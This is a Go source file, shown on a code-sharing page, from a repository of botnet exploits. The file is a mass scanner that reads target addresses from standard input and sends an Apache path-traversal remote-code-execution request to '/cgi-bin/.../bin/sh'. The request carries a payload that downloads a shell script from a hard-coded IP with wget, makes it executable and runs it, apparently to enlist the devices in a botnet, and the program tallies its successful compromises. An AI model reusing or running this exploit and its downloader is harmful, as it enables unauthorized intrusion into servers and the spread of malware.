Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/ApacheV2.go
5038 views
1
2
//Made by Benshii Varga
3
package main
4
5
import (
6
"fmt"
7
"net"
8
"time"
9
"bufio"
10
"os"
11
"sync"
12
"strings"
13
"math/rand"
14
//"encoding/base64"
15
)
16
17
var syncWait sync.WaitGroup
18
var statusAttempted, statusFound int
19
20
var payload string = "(wget http://185.184.54.151/76d32be0.sh; chmod +x 76d32be0.sh; sh 76d32be0.sh)"
21
22
func zeroByte(a []byte) {
23
for i := range a {
24
a[i] = 0
25
}
26
}
27
28
func checkDevice(target string, timeout time.Duration) int {
29
30
var isGpon int = 0
31
32
conn, err := net.DialTimeout("tcp", target, timeout * time.Second)
33
if err != nil {
34
return -1
35
}
36
37
38
conn.SetWriteDeadline(time.Now().Add(timeout * time.Second))
39
conn.Write([]byte("POST /cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh HTTP/1.1\r\nHost: " + target + "\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\n" + payload + "\r\n\r\necho Content-Type: text/plain; echo; " + payload + "\r\n\r\n"))
40
conn.SetReadDeadline(time.Now().Add(timeout * time.Second))
41
42
bytebuf := make([]byte, 512)
43
l, err := conn.Read(bytebuf)
44
if err != nil || l <= 0 {
45
conn.Close()
46
return -1
47
}
48
49
if strings.Contains(string(bytebuf), "hello") {
50
statusFound++
51
isGpon = 1
52
}
53
zeroByte(bytebuf)
54
55
if isGpon == 0 {
56
conn.Close()
57
return -1
58
}
59
60
conn.Close()
61
return 1
62
}
63
64
func processTarget(target string, rtarget string) {
65
66
defer syncWait.Done()
67
68
checkDevice(target, 10)
69
}
70
71
func main() {
72
73
rand.Seed(time.Now().UTC().UnixNano())
74
var i int = 0
75
go func() {
76
for {
77
fmt.Printf("%d's | Total: %d, Exploited: %d\r\n", i, statusAttempted, statusFound)
78
time.Sleep(1 * time.Second)
79
i++
80
}
81
}()
82
83
for {
84
r := bufio.NewReader(os.Stdin)
85
scan := bufio.NewScanner(r)
86
for scan.Scan() {
87
go processTarget(scan.Text() + ":" + os.Args[1], scan.Text())
88
statusAttempted++
89
syncWait.Add(1)
90
}
91
}
92
}
93
94